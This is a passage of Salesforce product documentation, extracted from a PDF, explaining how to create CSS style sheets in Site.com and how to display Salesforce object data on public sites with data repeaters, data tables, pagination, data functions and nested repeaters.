Description Sets the border's color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Color drop-down list. Specifies the border's thickness. Enter a value in the Thickness text box and select a unit of measurement. Alternatively, select Thin, Medium, or Thick.

Thickness

The Tables Section


Property Border Collapse Description When designing tables: Collapse uses a common border between cells Separate gives each cell its own border Sets the horizontal distance that separates cell borders. Enter a value in the text box and select a unit of measurement. This value is used only if Border Collapse is set to Separate. Sets the vertical spacing that separates cell borders. Enter a value in the text box and select a unit of measurement. This value is only used if Border Collapse is set to Separate.

Horizontal Spacing

Vertical Spacing

See Also:
Using the Style Pane Understanding the Style Sheet View in Site.com Creating Style Sheet Items and Groups

2433

Styling Your Website

Understanding the Style Sheet View in Site.com

Understanding the Style Sheet View in Site.com


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When working with style sheets, you can add style items, organize them into groups, and edit the CSS code directly. Open a style sheet on the Overview tab by double-clicking it or hovering over it and clicking > Edit. The style sheet opens as a new tab.

Using the toolbar (1), you can import a style sheet and edit the style sheets CSS code directly. Using the style sheet pane (2), you can: Create style items and groups Preview, edit, and delete style items Move style items and groups by dragging them to the correct location Add a CSS reset

Using the Style Preview section (3), you can preview and manually edit a selected style item.

2434

Styling Your Website

Creating and Using CSS Style Sheets

Using the visual CSS editor (4), you can define the CSS properties for the selected style item.

See Also:
Cascading Style Sheets Overview Creating and Using CSS Style Sheets Using Site.com Studio as a Publisher or Designer

Creating and Using CSS Style Sheets


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A default style sheet called Site Style Sheet is included with every site you create. However, if you're familiar with CSS and need multiple style sheets, you can create new ones to use in your site. To create a style sheet: 1. 2. 3. 4. Click Style Sheets > New on the Overview tab. Alternatively, click New Style Sheet in the Style Sheets view. Enter a name for the style sheet. Click Apply. The style sheet opens. Add style items and groups to the style sheet. Note: Style sheet names can only contain alphanumeric characters, hyphens, colons, and underscores. You can also import a CSS file to use in your site.

After you create a new style sheet, you must attach it to a page to apply its styles to the page. To attach a style sheet to a page: 1. Select the page in the Page Structure pane. 2. In the Style Sheets section of the Properties pane, click 3. Select the style sheet in the list that appears. 4. Attach the style sheet to the page by clicking .

beside the drop-down list.

2435

Styling Your Website

Creating Style Sheet Items and Groups

Tip: If you used a page template to create your site pages, the quickest way to include the new style sheet on every pages is to attach it to the template. This automatically includes a reference to the style sheet in every page that's based on the template.

See Also:
Cascading Style Sheets Overview Understanding the Style Sheet View in Site.com

Creating Style Sheet Items and Groups


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When adding style items to style sheets, you can define CSS classes and IDs, or you can redefine the formatting of HTML tags such as body or h1. When you change the CSS style of an HTML tag, anything formatted with that tag is immediately updated.

Creating Style Items


To open a style sheet, double-click it in the Style Sheets view of the Overview tab, or hover over it and click > Edit. If you're very familiar with CSS and prefer coding by hand, click Edit Style Sheet Code to edit the style sheet directly using the CSS editor. Alternatively: 1. Select the style sheet and click > Insert Style Item. 2. Enter the name of the style item: To redefine the default formatting of a specific HTML tag, enter the HTML tag namefor example, body or h1. To create a CSS class, enter the class name and ensure that you include a period before itfor example, .classname. To create a CSS ID, enter the ID name preceded by #for example, #contentID.

3. Click Apply. 4. Add style definitions by either: Setting style properties in the visual style editor on the right Typing CSS styles in the text box in the Style Preview section and clicking Save

2436

Styling Your Website

Creating Style Sheet Items and Groups

As you modify the definition of a selected style item, you can see how your changes appear in the Style Preview section. Tip: A class name must begin with a period or it will not be recognized as a CSS class. An ID name must begin with # or it will not be recognized as a CSS ID. Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use classes when there are one or more occurrences per page. Class and ID names can contain alphanumeric characters, hyphens, and underscores only, and can't begin with a number or include spaces.

Creating Style Groups


Use groups to organize your CSS logically. This makes it easier to locate and maintain styles. When the style sheet is open: 1. Select the style sheet and click > Insert Style Group. 2. Enter a name for the group and click Apply. 3. To add a new style to the group, select the group and click drag it onto the folder icon.

> Insert Style Item. To add an existing style to the group,

Assigning Style Items


After you've created styles, you can assign them to the pages and pages elements of your site. To assign a class to a page or page element, select it and either: Type the class name in the Class field of the Properties pane. Select Class in the Style pane, start typing the name, and select it in the list that appears.

To assign an ID to a page or page element, either: Type the ID name in the ID field in the Properties pane. Select ID in the Style pane and select it in the drop-down list.

See Also:
Understanding the Style Sheet View in Site.com Creating and Using CSS Style Sheets Cascading Style Sheets Overview

2437

Styling Your Website

Using CSS Reset

Using CSS Reset


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Every browser has set presentation defaults, but unfortunately they aren't standardized across all browser types. This means that when you use CSS to style your site, it may not render as expected when you view it in different browsers. For example, browsers differ in how they display: Unordered and ordered lists Top and bottom margins for headings Indentation distances Default line-heights

A CSS reset cancels the differences between browsers to control how browser elements are presented to the end user. You can either use Site.com's CSS reset, or you can add your own CSS reset code. To use Site.com's CSS reset: 1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking > Edit. 2. Click > Insert CSS Reset. 3. Ensure the CSS reset is positioned at the top of the style sheet. To move it, drag it to the correct location in the pane on the left. To add your own CSS reset code: 1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking > Edit. 2. Click Edit Style Sheet Code to open the CSS editor. 3. Paste the code at the top of the style sheet code. 4. Click Save and Close.

See Also:
Creating and Using CSS Style Sheets Creating Style Sheet Items and Groups Cascading Style Sheets Overview

2438

Working with Dynamic Data

Site.com Data Services Overview

WORKING WITH DYNAMIC DATA


Site.com Data Services Overview
Site.com data services combine many features that let you connect to standard and custom Salesforce objects. Retrieve data from your organizations objects and dynamically display it on your site pages, or alternatively, gather and submit data from your customers. And when you update data in your Salesforce object, the changes are reflected automatically on the live siteno site updates required! Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Here are a few ways you can use Site.com data services: Publish a catalog of productsList your company's products and include information, such as model numbers and prices, pulled dynamically from your organization. Post company press releasesPublish your companys press releases and sort by publication date. Create a realtor websiteDisplay current listings filtered by city or price. Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes.

So how does it all work? Several data-bound page elements let you retrieve and display your data, or collect data from your site visitors. Data tables connect to Salesforce objects, retrieve a data set based on the filter criteria that you specify, and display one or more record as rows in the table. Data Repeaters and data elements combine to let you connect to standard and custom objects, retrieve data, and dynamically display it on your sites pages. Together, the data repeater and data elements result in a "repeating template" that offers you the greatest flexibility for displaying one or more records on the page. Data functions let you perform calculations on data retrieved from objects and display the result on the page. For example, for a particular field in an object, you can use a data function to calculate the total value or the average amount of all returned records. Nested repeaters let you retrieve data from objects with a parent-to-child relationship. Forms and form fields combine to let you collect data from your site visitors and submit the data to standard or custom Salesforce objects. Create web-to-lead forms, capture customer details, or gather feedback on your products or services.

Data Services Considerations


To allow guest users to view the data in or submit data to a Salesforce object, you must set the objects data access permissions. When working with assets, the easiest way to take advantage of Site.com data services is to import the files into your website, and store a relative URL to these assets in your standard or custom object. See Storing Assets to Use with Salesforce Objects on page 2441.

2439

Working with Dynamic Data

Setting Data Access Permissions for Salesforce Objects

If you add a data-bound page element to your site and then subsequently change a field type in the Salesforce object its connected tofor example, changing a text field to a picklistthe data-bound page element will no longer work. You must reconfigure the data-bound page element to reference the updated field. If you update data in an object thats connected to a data table, data repeater, or data function, the changes are reflected automatically on the live site. To control this, you can add a picklist field to the object to specify when a record is approved to go live. Then you can use the field to filter the records by approved status, so only approved records appear on the live site.

See Also:
Setting Data Access Permissions for Salesforce Objects Storing Assets to Use with Salesforce Objects Accessing Data in Related Objects Overview Adding Pagination to Data Repeaters and Data Tables The Default, Error, and No Data Views

Setting Data Access Permissions for Salesforce Objects


Sites built with Site.com are publicly available, so visitors access the site via the Guest User license thats associated with the site. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level And Manage Users AND Customize Application

By default, site visitors can access information made available in an active public site, such as the sites pages and assets. However, to allow guest users to view or submit data to a standard or custom Salesforce object, you must modify the objects

2440

Working with Dynamic Data

Storing Assets to Use with Salesforce Objects

permission in the sites guest user profile. Each site has a separate Guest User license, so you can control access Salesforce object on a per-site basis. To edit the sites guest user profile: 1. On the Overview tab of Site.com Studio, click Site Configuration and click Site Name Profile. Alternatively, if youre adding a data repeater, data table, data function, or form to the page, click go to the guest user profile in the items dialog box. 2. In the sites guest user profile, enable the Read permission on the standard or custom objects you want to retrieve data from using data repeaters, data tables, or data functions. Enable the Create permission on the objects you want to submit data to using forms. All permissions that aren't set by default must be set manually. See User Profiles Overview on page 525. 3. If required, modify the field-level security of an object. See Setting Field Permissions in Permission Sets and Profiles on page 673.

See Also:
Site.com Data Services Overview Storing Assets to Use with Salesforce Objects

Storing Assets to Use with Salesforce Objects


Because websites built with Site.com are publicly available, site visitors dont have the security privileges required to view images and documents stored in your Salesforce objects, which are available to authenticated users only. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Therefore, the easiest way to take advantage of Site.com data services is to import the files into Site.com, and instead store a relative URL to these assets in your standard or custom object. Alternatively, if your images or files are hosted elsewhere and readily available on the Internet, you can use an absolute URL. For example, lets say you want to use a custom object called Catalog to build a Catalog site page that displays product details and images. Before you begin building the Catalog site page, you would: 1. Import the product images into your Site.com site. 2. In the Catalog object, create a field to store the relative URL of the image, such as Image URL.

2441

Dynamically Retrieving and Displaying Data

Dynamically Retrieving Data with Data Repeaters

3. For each product record, add the relative path of the image. This URL is relative to the site, so if you upload widget.png to your site, the relative path is /widget.png. URLs are case sensitive. Then, when you add a data table, or a data repeater and data elements to the Catalog site page to display the product data, you can reference the Image URL field to dynamically display each products image on the page.

See Also:
Site.com Data Services Overview Setting Data Access Permissions for Salesforce Objects Defining Custom Objects

DYNAMICALLY RETRIEVING AND DISPLAYING DATA


Dynamically Retrieving Data with Data Repeaters
Use a data repeater to connect to a standard or custom Salesforce object and retrieve a data set based on the filter criteria that you specify. When you combine a data repeater with data elements, custom code, or content blocks, you can create a repeating template that displays one or more records on the page. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level And Manage Users AND Customize Application

To add a data repeater to a page:

2442

Working with Dynamic Data

Dynamically Retrieving Data with Data Repeaters

1. Drag a Data Repeater from the Page Elements pane onto the page. 2. Select the object that you want to connect to. Note: The drop-down list only displays objects that are available to guest users because site visitors access your public site via the Guest User license. To make other objects available, go to the guest user profile, enable the relevant object's Read permission, and refresh the list. 3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is returned. a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the fields of all parent objects, which use the format parent_object_name.field_name. b. Select the operator to control how results are filtered. For example, select Equals to return an exact match. c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values passed to the page via a query string, select URL query string. d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is missing. e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND operator. Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview section. To refresh the list of records, click Reload Preview. 4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example, if youre working with an object that contains user data, you could sort your results by gender first and then by name. 5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter 5 in the Limit results to field. 6. If youre adding pagination, specify the number of results to display per page in the Results per page field. 7. Click Save. Next, you must add either data elements, custom code, or content blocks to the data repeater to display the data it retrieves.

See Also:
Displaying Data Using Data Elements Displaying Data Using Custom Code Displaying Data Using Content Blocks The Default, Error, and No Data Views Displaying Data from Related Objects Using Nested Data Repeaters Changing a Page Elements HTML Tag Adding Pagination to Data Repeaters and Data Tables Data Filtering Examples Site.com Data Services Overview

2443

Working with Dynamic Data

Displaying Data Using Data Elements

Displaying Data Using Data Elements


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A data element, which must be contained in a data repeater, binds to a field in the object that the data repeater is connected to. Each data element acts as a placeholder that is replaced with the fields data when the page loads. Combined, the data repeater and data elements result in a repeating template that displays one or more records on the page. You can use data elements to display plain text, formatted text (for dates and numbers), or images. You can also add hyperlinks to data elements to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data displayed in the data repeater based on their selection. See Data Filtering Examples on page 2462. 1. Drag a Data Element from the Page Elements pane onto the data repeater. You cant add data elements to anything but a data repeater. 2. Select the field to display. To customize how the fields data is displayed, click Customize. Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format parent_object_name.field_name. 3. Select the display type.
Option Text Formatted text Image Description Lets you display the fields data as plain text. Lets you choose from several text display formats if youre working with dates, times, or currency. Lets you display the fields data as an image if the field contains an image URL. The URL can be absolute or relative to the site. You can also select a field to use for the alternative text or enter custom text.

4. To create a hyperlink, select Add a hyperlink. Otherwise, go to step 8. 5. Select the link type.
Option A URL Description Lets you link to a Web page by: Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your site. Choosing a field that you want to reference and clicking Customize to add an absolute URL or to create a custom link, such as a URL query string.

2444

Working with Dynamic Data

Displaying Data Using Data Elements

Option An item in your site

Description Lets you link to a page, image, or file in the site by selecting the item type and then selecting the item. (If you cant see the list of items, place your cursor in the URL field and press the DOWN key on your keyboard.) You can also customize the URLfor example, by creating a URL query string.

An email

Lets you link to an email message by entering the recipient's address, and the message subject and body. You can use merge fields to access the objects fields. For example, if an object has an Email field, enter the merge field, such as {!email}, in the Email address text box. When the link is clicked, it opens a new message window in the users email client and adds the appropriate email address to the To: field.

6. Optionally, enter a tooltip by selecting the required field or clicking Customize to add custom text. The tooltip displays as a pop-up when the user hovers over the link. 7. If youre linking to a URL or an item in your site, specify where the item should open.
Option Popup window New window (_blank) Same window (_self) Topmost window (_top) Parent window (_parent) Description Loads the item into a popup window. When you select this option, you can set the title for the popup and control its appearance and size with the options that appear. Loads the item into a new, unnamed browser window. Loads the item into the same frame or window as the link. This is the default setting. Loads the item into the topmost parent frameset or window of the frame that contains the link. Loads the item into the parent frameset or window of the frame that contains the link.

8. Click Save. The data element is displayed on the page as a merge field. To test the output, preview the page.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Displaying Data Using Custom Code Displaying Data Using Content Blocks The Default, Error, and No Data Views Data Filtering Examples

2445

Working with Dynamic Data

Displaying Data Using Custom Code

Displaying Data Using Custom Code


In addition to data elements, you can also use custom code as an alternative way to display data in a data repeater. Its particularly useful for displaying field data thats inline with text. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To add custom code to a data repeater: 1. Drag a Custom Code page element from the Page Elements pane onto the data repeater. 2. To access the fields of the object the data repeater is connected to, type {! and double-click the merge field that you want to display. Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format parent_object_name.field_name. 3. Add any additional merge fields or text you require. For example:
To contact {!Name}, call {!Phone}.

where {!Name} and {!Phone} are placeholders for the values of the Name and Phone fields of each record. 4. Click Save and Close.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Displaying Data Using Content Blocks Displaying Data Using Data Elements The Default, Error, and No Data Views Data Filtering Examples

2446

Working with Dynamic Data

Displaying Data Using Content Blocks

Displaying Data Using Content Blocks


In addition to data elements and custom code, you can also use content blocks as an alternative way to display data in a data repeater. Its particularly useful for displaying field data thats inline with text. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To add a content block to a data repeater: 1. Drag a Content Block page element from the Page Elements pane onto the data repeater. 2. Enter the name of the field you want to display using a merge field. For example, {!Name}. Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format parent_object_name.field_name. 3. Add any additional merge fields or text you require. For example:
To contact {!Name}, call {!Phone}.

where {!Name} and {!Phone} are placeholders for the values of the Name and Phone fields of each record. You can also use merge fields if youre adding a hyperlink to the content block. 4. Click Save.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Displaying Data Using Custom Code Attaching Hyperlinks to Text and Images Displaying Data Using Data Elements The Default, Error, and No Data Views Data Filtering Examples

2447

Working with Dynamic Data

Dynamically Retrieving Data with Data Tables

Dynamically Retrieving Data with Data Tables


Use a data table to connect to a standard or custom Salesforce object, retrieve a data set based on the filter criteria that you specify, and display one or more record as rows in the table. A data tables columns bind to the fields of the object its connected to. Each column cell acts as a placeholder that is replaced with the fields data when the page loads. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level And Manage Users AND Customize Application

To add a data table to the page: 1. Drag a Data Table from the Page Elements pane onto the page. 2. Select the object that you want to connect to. Note: The drop-down list only displays objects that are available to guest users because site visitors access your public site via the Guest User license. To make other objects available, go to the guest user profile, enable the relevant object's Read permission, and refresh the list. 3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is returned. a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the fields of all parent objects, which use the format parent_object_name.field_name. b. Select the operator to control how results are filtered. For example, select Equals to return an exact match. c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values passed to the page via a query string, select URL query string.

2448

Working with Dynamic Data

Dynamically Retrieving Data with Data Tables

d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is missing. e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND operator. Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview section. To refresh the list of records, click Reload Preview. 4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example, if youre working with an object that contains user data, you could sort your results by gender first and then by name. 5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter 5 in the Limit results to field. 6. If youre adding pagination, specify the number of results to display per page in the Results per page field. 7. Click Next. 8. Add available fields to the table by double-clicking a field, or selecting it and clicking 9. Reorder the list of selected fields by clicking Move Up or Move Down. 10. Click Save. .

Note: You cant add page elements to a data table. However, you can add additional columns to a data table by selecting it and clicking Edit. On the Select Fields screen, select the additional fields and save your changes. After youve added the data table to the page, you can use the Properties pane to: Hide the column headings by deselecting Show Column Headings. Make the columns sortable by selecting the jQuery Flexigrid theme and selecting Enable Sorting. The theme also changes the appearance of the table. Change the name of a column by selecting the column cell and updating the name in the Column Heading property.

See Also:
Editing Columns in a Data Table The Default, Error, and No Data Views Adding Pagination to Data Repeaters and Data Tables Data Filtering Examples Displaying Data from Related Objects Using Nested Data Repeaters Accessing Data in Related Objects Overview Site.com Data Services Overview

2449

Working with Dynamic Data

Editing Columns in a Data Table

Editing Columns in a Data Table


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A data tables columns bind to the fields of the object its connected to. Each column cell acts as a placeholder that is replaced with the fields data when the page loads. You can display plain text, formatted text (for dates and numbers), or images in the column cells. You can also add hyperlinks to column cells to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data displayed in the data table based on their selection. See Data Filtering Examples on page 2462. To edit a column: 1. Double-click the column cell in the data table. 2. Select the field to display. To customize how the fields data is displayed, click Customize. Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format parent_object_name.field_name. 3. Select the display type.
Option Text Formatted text Image Description Lets you display the fields data as plain text. Lets you choose from several text display formats if youre working with dates, times, or currency. Lets you display the fields data as an image if the field contains an image URL. The URL can be absolute or relative to the site. You can also select a field to use for the alternative text or enter custom text.

4. To create a hyperlink, select Add a hyperlink. Otherwise, go to step 8. 5. Select the link type.
Option A URL Description Lets you link to a Web page by: Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your site. Choosing a field that you want to reference and clicking Customize to add an absolute URL or to create a custom link, such as a URL query string.

2450

Working with Dynamic Data

Editing Columns in a Data Table

Option An item in your site

Description Lets you link to a page, image, or file in the site by selecting the item type and then selecting the item. (If you cant see the list of items, place your cursor in the URL field and press the DOWN key on your keyboard.) You can also customize the URLfor example, by creating a URL query string.

An email

Lets you link to an email message by entering the recipient's address, and the message subject and body. You can use merge fields to access the objects fields. For example, if an object has an Email field, enter the merge field, such as {!email}, in the Email address text box. When the link is clicked, it opens a new message window in the users email client and adds the appropriate email address to the To: field.

6. Optionally, enter a tooltip by selecting the required field or clicking Customize to add custom text. The tooltip displays as a pop-up when the user hovers over the link. 7. If youre linking to a URL or an item in your site, specify where the item should open.
Option Popup window New window (_blank) Same window (_self) Topmost window (_top) Parent window (_parent) Description Loads the item into a popup window. When you select this option, you can set the title for the popup and control its appearance and size with the options that appear. Loads the item into a new, unnamed browser window. Loads the item into the same frame or window as the link. This is the default setting. Loads the item into the topmost parent frameset or window of the frame that contains the link. Loads the item into the parent frameset or window of the frame that contains the link.

8. Click Save. The column is displayed on the page as a merge field. To test the output, preview the page. To change the name of a column, select the column cell and update the name in the Column Heading field of the Properties pane.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Tables The Default, Error, and No Data Views Data Filtering Examples Site.com Data Services Overview

2451

Working with Dynamic Data

Adding Pagination to Data Repeaters and Data Tables

Adding Pagination to Data Repeaters and Data Tables


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Events let you add interactive and animated effects to the pages and page elements of your website. When using data repeaters and data tables, you can add pagination events so users can easily page through the displayed data. This is particularly useful when working with large amounts of data. For example, if youve added a data repeater that displays all the users in an organization, you can add pagination to help users navigate through the data. You can add three pagination events: Previous Page Next Page Go To Page

Creating Previous and Next Pagination You can create previous and next buttons so users can move through the data one page at a time. The process for creating both buttons is the same. 1. 2. 3. 4. 5. Create your data repeater or data table. In the data repeater or data table, be sure to specify how many records to display per page in the Limits section. Drag a button to the page. In the Properties pane, change the Button Name to Previous Page or Next Page as appropriate. In the Events pane, select the click event.

6. When the Actions box appears, click and select the Previous Page or Next Page action. 7. In the Target Element, select the data repeater or data table. 8. Click Save. Creating GoTo Pagination Creating GoTo navigation is similar to creating the previous and next buttons, but you must add an input field so users can specify what page they what to go to. 1. 2. 3. 4. Create your data repeater or data table. In the data repeater or data table, be sure to specify how many records to display per page in the Limits section. Drag a Number field onto the page. In the Properties pane, change the fields Label Name to something that makes sense. For example, Enter Page Number.

2452

Working with Dynamic Data

Adding Pagination to Data Repeaters and Data Tables

5. Drag a Button onto the page. 6. In the Properties pane, change the Button Name to GoTo Page. 7. In the Events pane, select the click event. 8. When the Actions box appears, click and select the Go To Page action. 9. In the Target Element, select the data repeater or data table. 10. For Input Field ID, select the field you created in step 3. 11. Click Save.

See Also:
Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Events Overview Creating an Event Available Events and Actions

2453

Working with Dynamic Data

Using Data Functions

Using Data Functions


A data function lets you connect to a standard or custom Salesforce object, perform calculations on the returned results, and display the calculation on the page. For example, for a particular field in an object, you can use a data function to calculate the total value or the average amount of all returned records. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level And Manage Users AND Customize Application

To add a data function to a page: 1. Drag a Data Function from the Page Elements pane onto the page. 2. Select the object that you want to connect to. Note: The drop-down list only displays objects that are available to guest users because site visitors access your public site via the Guest User license. To make other objects available, go to the guest user profile, enable the relevant object's Read permission, and refresh the list. 3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is returned. a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the fields of all parent objects, which use the format parent_object_name.field_name. b. Select the operator to control how results are filtered. For example, select Equals to return an exact match. c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values passed to the page via a query string, select URL query string.

2454

Working with Dynamic Data

Accessing Data in Related Objects Overview

d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is missing. e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND operator. Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview section. To refresh the list of records, click Reload Preview. 4. In Functions, select a function:
Option Count Maximum Average Description Counts the number of records that contain a value for the selected field. For example, if an object contains 30 records, but only 25 records have a value in the field you specify, the result is 25. Returns the highest value of all the values for the selected field. Applies to numbers, strings, and dates. Calculates the average value of all records for the selected field. For example, if you have 20 records with a total value of $20,000 in the Price field, the average is $1,000. Only applicable to fields that contain numbers. Returns the lowest value of all the values for the selected field. Applies to numbers, strings, and dates. Calculates the total value of all records for the selected field.

Minimum Sum

5. Select the field it applies to. 6. Click Save.

See Also:
The Default, Error, and No Data Views Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Data Filtering Examples Displaying Data from Related Objects Using Nested Data Repeaters Accessing Data in Related Objects Overview Site.com Data Services Overview

Accessing Data in Related Objects Overview


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Standard and custom objects have relationships that define how records in one object relate to records in another. For example, the Accounts object has a one-to-many relationship with the Contacts objectthat is, each account can have one or more contacts associated with it. This relationship is also known as a parent-to-child or a master-detail relationship. See Overview of Relationships for more information about relationships between objects in Salesforce.

2455

Working with Dynamic Data

Accessing Data in Related Objects Overview

Data repeaters, data tables, and data functions take advantage of these relationships to let you display data from related objects on the page. About Accessing Data in Parent Objects When you add a data repeater, data table, or data function to the page and connect it to a standard or custom object, you can automatically access the fields of any parent object its related to. If you add filter criteria to a data repeater, data table, or data function, the Field drop-down list in the Create Data Connection dialog box displays the objects fields, followed by the fields of all of its parent objects, which use the format parent_object_name.field_name. This lets you filter results based on a field in the parent object. So for example, when retrieving records from the Contacts object, you could decide to return only contacts where the account name (Account.Account Name) is ABC Labs. Similarly, when you add data elements to a data repeater, or columns to a data table, you can bind them to fields in a parent object. So for example, if you add a data table thats connected to the Contact object, you can add a column that binds to its Full Name field and a column that binds to the Account objects Account.Account Name field to display the contacts name along with the name of the account its associated with. About Accessing Data in Child Objects You can retrieve data from any child object of a parent object using a data repeater that contains another data repeater, data table, or data function. The outer or parent data repeater connects to an object, such as Accounts. In turn, the inner data repeater, data table, or data function automatically lets you connect to any child objects, such as Contacts. This is also known as a nested data repeater. Lets say you want to display a list of accounts along with the names of the associated contacts, similar to this example.

You can achieve this by creating a data repeater (1) thats connected to Accounts, and adding a data element (2) to it that binds to the Account Name field. Then add a nested data repeater (3) thats connected to Contacts, which is a child of Accounts. Finally, add a data element (4) to the nested data repeater that binds to the Contact objects Full Name field.

2456

Working with Dynamic Data

Displaying Data from Related Objects Using Nested Data Repeaters

See Also:
Displaying Data from Related Objects Using Nested Data Repeaters Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Using Data Functions Site.com Data Services Overview

Displaying Data from Related Objects Using Nested Data Repeaters


You can retrieve data from any child object of a parent object using a data repeater that contains another data repeater, data table, or data function. The outer or parent data repeater connects to an object, such as Accounts. In turn, the inner data

2457

Working with Dynamic Data

Displaying Data from Related Objects Using Nested Data Repeaters

repeater, data table, or data function automatically lets you connect to any child objects, such as Contacts. This is also known as a nested data repeater. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level And Manage Users AND Customize Application

